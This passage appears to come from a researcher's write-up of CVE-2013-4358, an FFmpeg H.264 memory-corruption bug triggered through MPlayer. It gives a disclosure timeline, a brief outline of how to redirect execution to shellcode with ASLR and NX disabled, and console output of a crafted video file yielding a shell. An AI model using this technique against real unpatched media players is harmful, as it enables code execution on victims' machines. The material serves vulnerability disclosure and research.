August 18    - Bug report along with PoC to Mplayer
August 24    - FFmpeg notified about the issue
August 25    - Bug confirmed in FFmpeg H.264 code leading to memory corruption, patches were applied
September 14 - Request for CVE
September 17 - CVE-2013-4358 assigned 
Exploit:
I wrote a PoC exploit from the point of crash, with the mutated file. Understanding of H.264 will give better and reliable attack vectors for the bug. Here is the idea to exploit the bug with ASLR and NX disabled. Yes, its easy without memory protection

[*] Make RAX point to an address [address_to_dereference - 0x18] that we would like to dereference
[*] At [address_to_dereference + 0x18] place the address of shellcode to execute

I'm not going into much details. Here is the final payload
[ctf@renorobert Test]$ mplayer exploit_final.m2ts 
MPlayer 1.1-4.4.4 (C) 2000-2012 MPlayer Team

Playing exploit_final.m2ts.
libavformat version 54.6.100 (internal)
TS file format detected.
VIDEO H264(pid=4113) AUDIO A52(pid=4352) NO SUBS (yet)!  PROGRAM N. 1
FPS seems to be: 24.000000
Load subtitles in ./
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
libavcodec version 54.23.100 (internal)
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
AUDIO: 48000 Hz, 2 ch, s16le, 640.0 kbit/41.67% (ratio: 80000->192000)
Selected audio codec: [ffac3] afm: ffmpeg (FFmpeg AC-3)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
AO: [alsa] 48000Hz 2ch s16le (2 bytes per sample)
Starting playback...
Unsupported PixelFormat 61
Unsupported PixelFormat 53
Unsupported PixelFormat 81
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [x11] 1920x1080 => 1920x1080 Planar YV12 
[swscaler @ 0xdbab00]using unscaled yuv420p -> bgra special converter
A: 602.4 V: 602.4 A-V:  0.024 ct: -0.063  58/ 58 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.5 A-V:  0.012 ct: -0.062  59/ 59 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.5 V: 602.5 A-V:  0.011 ct: -0.061  60/ 60 38%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V: -0.032 ct: -0.064  61/ 61 37%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.5 A-V:  0.056 ct: -0.060  62/ 62 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V:  0.009 ct: -0.059  63/ 63 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.7 V: 602.7 A-V: -0.002 ct: -0.059  64/ 64 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.7 A-V: -0.182 ct: -0.063  65/ 65 36%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.9 V: 602.8 A-V:  0.067 ct: -0.059  66/ 66 36%  9%  2.0% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.9 V: 602.8 A-V:  0.155 ct: -0.055  67/ 67 36% 10%  2.0% 0 0 
######################################################################################
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]error while decoding MB 67 8, bytestream (-5)
[h264 @ 0xcf2320]concealing 7182 DC, 7182 AC, 7182 MV errors
A: 604.7 V: 604.1 A-V:  0.638 ct:  0.066  96/ 96 41% 12%  1.5% 0 0 
[ac3 @ 0xcf2320]frame sync error
[h264 @ 0xcf2320]Missing reference picture, default is 65650
[h264 @ 0xcf2320]error while decoding MB 17 8, bytestream (-6)
[h264 @ 0xcf2320]insane cropping not completely supported, this could look slightly wrong ... (left: 2, top: 6)
[h264 @ 0xcf2320]number of reference frames (0+3) exceeds max (1; probably corrupt input), discarding one
[h264 @ 0xcf2320]concealing 7232 DC, 7232 AC, 7232 MV errors
Dropping frame with size not matching configured size
A: 604.7 V: 604.1 A-V:  0.624 ct:  0.070  97/ 97 41% 11%  1.5% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
[ac3 @ 0xcf2320]frame sync error
[ac3 @ 0xcf2320]frame CRC mismatch
[h264 @ 0xcf2320]Missing reference picture, default is 65652
[h264 @ 0xcf2320]error while decoding MB 42 8, bytestream (-10)
[h264 @ 0xcf2320]concealing 7207 DC, 7207 AC, 7207 MV errors
sh-4.1# 
I got code execution and dropped into shell. Bypassing NX and ASLR will take little more hard work.